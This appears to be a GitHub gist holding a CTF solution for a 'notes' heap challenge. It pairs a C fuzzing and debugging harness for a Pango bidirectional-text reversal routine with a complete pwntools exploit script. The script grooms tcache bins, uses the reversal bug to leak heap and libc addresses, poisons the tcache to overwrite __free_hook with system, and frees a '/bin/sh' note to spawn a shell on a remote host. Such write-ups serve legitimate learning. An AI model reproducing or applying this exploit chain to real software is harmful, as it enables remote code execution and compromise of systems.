Last active
December 9, 2018 14:37
-
-
Save bennofs/63484066d4ed80915ddf6ebb78eb72fd to your computer and use it in GitHub Desktop.
notes.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <glib.h> | |
#include <pango/pango.h> | |
#include <pango/pangocairo.h> | |
#include <fribidi/fribidi.h> | |
void dumphex(char* ptr, int n) { | |
while (*ptr && n) { | |
printf("%02hhx ", *ptr); | |
ptr += 1; | |
n -= 1; | |
} | |
} | |
void print_part_orig(gpointer itemp, gpointer datap) | |
{ | |
PangoItem* item = (PangoItem*)itemp; | |
unsigned char* data = (unsigned char*)datap; | |
size_t v2; // rax | |
size_t v3; // rax | |
size_t v4; // rax | |
char *ptr; // [rsp+10h] [rbp-30h] | |
char *dest; // [rsp+28h] [rbp-18h] | |
unsigned char *src; // [rsp+30h] [rbp-10h] | |
size_t n; // [rsp+38h] [rbp-8h] | |
n = item->length; | |
ptr = (char *)malloc(item->length + 1); | |
ptr[item->length] = 0; | |
src = &data[item->offset]; | |
if ( item->analysis.level & 1 ) | |
{ | |
dest = &ptr[item->length]; | |
while ( dest > ptr ) | |
{ | |
if ( (*src & 0x80u) != 0 ) | |
{ | |
if ( (*src & 0xE0) == 0xC0 ) | |
{ | |
dest -= 2; | |
v2 = 2LL; | |
if ( n <= 2 ) | |
v2 = n; | |
memcpy(dest, src, v2); | |
src += 2; | |
n -= 2LL; | |
} | |
else if ( (*src & 0xF0) == 0xE0 ) | |
{ | |
dest -= 3; | |
v3 = 3LL; | |
if ( n <= 3 ) | |
v3 = n; | |
memcpy(dest, src, v3); | |
src += 3; | |
n -= 3LL; | |
} | |
else | |
{ | |
dest -= 4; | |
v4 = 4LL; | |
if ( n <= 4 ) | |
v4 = n; | |
memcpy(dest, src, v4); | |
src += 4; | |
n -= 4LL; | |
} | |
} | |
else | |
{ | |
*--dest = *src++; | |
--n; | |
} | |
} | |
if ( dest < ptr ) | |
abort(); | |
} | |
else | |
{ | |
memcpy(ptr, src, item->length); | |
} | |
dumphex(ptr, strlen(ptr)); | |
printf("\n"); | |
free(ptr); | |
return pango_item_free(item); | |
} | |
void print_part(gpointer data, gpointer user_data) { | |
PangoItem* item = (PangoItem*)data; | |
char* input = (char*)user_data; | |
printf("len: %d, offset: %d, level: %d, data: ", item->length, item->offset, item->analysis.level); | |
dumphex(&input[item->offset], item->length); | |
printf("\n"); | |
} | |
PangoAttrList* attr = 0; | |
PangoContext* context = 0; | |
void print_string(char* input) { | |
GList* list = pango_itemize(context, input, 0LL, strlen(input), attr, 0LL); | |
g_list_foreach(list, print_part_orig, input); | |
g_list_free(list); | |
} | |
void debug_string(char* input) { | |
GList* list = pango_itemize(context, input, 0LL, strlen(input), attr, 0LL); | |
g_list_foreach(list, print_part, input); | |
g_list_free(list); | |
} | |
__attribute__((constructor)) | |
void init(void) { | |
attr = pango_attr_list_new(); | |
PangoFontMap* font_map = pango_cairo_font_map_get_default(); | |
context = pango_font_map_create_context(font_map); | |
} | |
// fuzz_target.cc | |
int LLVMFuzzerTestOneInput(const unsigned char *Data, size_t Size) { | |
char* buf = malloc(Size + 2); | |
memcpy(buf, Data, Size); | |
buf[Size] = 0xa; | |
buf[Size+1] = 0x0; | |
print_string(buf); | |
free(buf); | |
return 0; // Non-zero return values are reserved for future use. | |
} | |
#ifndef FUZZ | |
int main() { | |
char* input = NULL; | |
size_t len = 0; | |
getline(&input, &len, stdin); | |
printf("str len: %lx\n", g_utf8_strlen(input, strlen(input))); | |
for (char* p = input; p < input + strlen(input); p = g_utf8_next_char(p)) { | |
dumphex(p, g_utf8_next_char(p) - p); | |
gunichar ch = g_utf8_get_char(p); | |
printf("chr %x type %x bracket %x", ch, fribidi_get_bidi_type(ch), fribidi_get_bracket(ch)); | |
printf("\n"); | |
} | |
printf("--\n"); | |
print_string(input); | |
debug_string(input); | |
//free(input); | |
pango_attr_list_unref(attr); | |
g_object_unref(context); | |
return 0; | |
} | |
#endif |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from pwn import * | |
rlm = b"\xE2\x80\x8F" | |
lro = b"\xE2\x80\xAD" | |
test = b'\xe2\x99\xa5\xef\xb8\x8e\xef\xb8\x8f' | |
exe = context.binary = ELF("./vuln") | |
libc = ELF("./libc.so") | |
if os.getenv("FAKE"): | |
exe = context.binary = ELF(os.getenv("FAKE")) | |
r = remote("116.203.30.100", 31337) if args.REMOTE else remote("localhost", 31000) if args.LOCAL else exe.process() | |
# does malloc(0x18), malloc(strlen(txt + "\n") + 1) | |
# total heap movement: 0x20 + strlen(txt + "\n") + 1 + 8 | |
def add(txt): | |
r.sendlineafter("> ", "1") | |
r.sendlineafter("Note: ", txt) | |
l = r.recvline_contains("Id: ") | |
return int(l.strip().split()[-1]) | |
def show(idx): | |
r.sendlineafter("> ", "2") | |
r.sendlineafter("Id: ", str(idx)) | |
return r.recvuntil(" (1) add", drop=True) | |
def delete(idx): | |
r.sendlineafter("> ", "3") | |
r.sendlineafter("Id: ", str(idx)) | |
# normalize the heap: clear all tcaches | |
def clear_tcaches(max_size=0x200): | |
with log.progress("clearing tcache") as p: | |
for sz in xrange(0x10, max_size, 0x10): | |
p.status(hex(sz)) | |
for i in xrange(7): | |
add("x" * sz) | |
# make our life easier | |
clear_tcaches() | |
add("A"*0x80) | |
# let's fill the tcache bins correctly | |
hole = add("X"*0x50) | |
h1 = add("H" * 0x6f) | |
h2 = add("-" * 0x6f) | |
victim = add("v" * 0x20) | |
delete(hole) | |
controlled = add("C" * 0xa0) | |
leaker1 = add("leaker") | |
leaker2 = add("leaker2") | |
delete(leaker1) | |
delete(leaker2) | |
leaker1 = add("leaker") | |
leaker2 = add("leaker2") | |
delete(h1) | |
delete(h2) | |
alloced = [add("smallbin"+"A"*0x100) for _ in xrange(8)] | |
broken = add("a" * 0x1e + "\xf8\xf8\x00") | |
show(broken) | |
# pray it works | |
clear_tcaches() | |
delete(victim) | |
# leak heap | |
writer = add(cyclic(0x100) + "\x00") | |
heap_leak = u64(show(0x21).ljust(8, "\0")) | |
success("heap leak @ %#x", heap_leak) | |
# restore linked list | |
delete(writer) | |
writer = add("w"*0x100 + p64(heap_leak+0x330)) | |
# get a libc pointer via smallbin | |
for note in alloced: | |
delete(note) | |
# leak libc | |
delete(writer) | |
writer = add("w"*0xf8 + "overflow" + p64(heap_leak+0xc00-0x10)) | |
libc_leak = u64(show(0xe8).ljust(8, "\0")) | |
libc.address = libc_leak - 0x1b7ca0 | |
success("libc @ %#x", libc.address) | |
# clear the 0x20 tcache | |
for i in xrange(7): | |
add("c"*0x8) | |
# free something to increase tcache size | |
delete(add("c"*0x8)) | |
# free leaker2, this should place it in the tcache | |
for i in reversed(xrange(8)): | |
delete(writer) | |
writer = add("w"*0xf8 + "a"*i) | |
delete(writer) | |
writer = add("w"*0xf8 + p64(0x21)) | |
delete(leaker2) | |
# fake tcache chunk | |
delete(writer) | |
writer = add("w" * 0x100 + p64(libc.symbols.__free_hook)) | |
# now shell it! | |
add(p64(libc.symbols.system)) | |
shell = add("/bin/sh\0") | |
delete(shell) | |
# now we can overwrite tcache next | |
# overwrite free hook | |
# cleanup | |
#clear_tcaches() | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment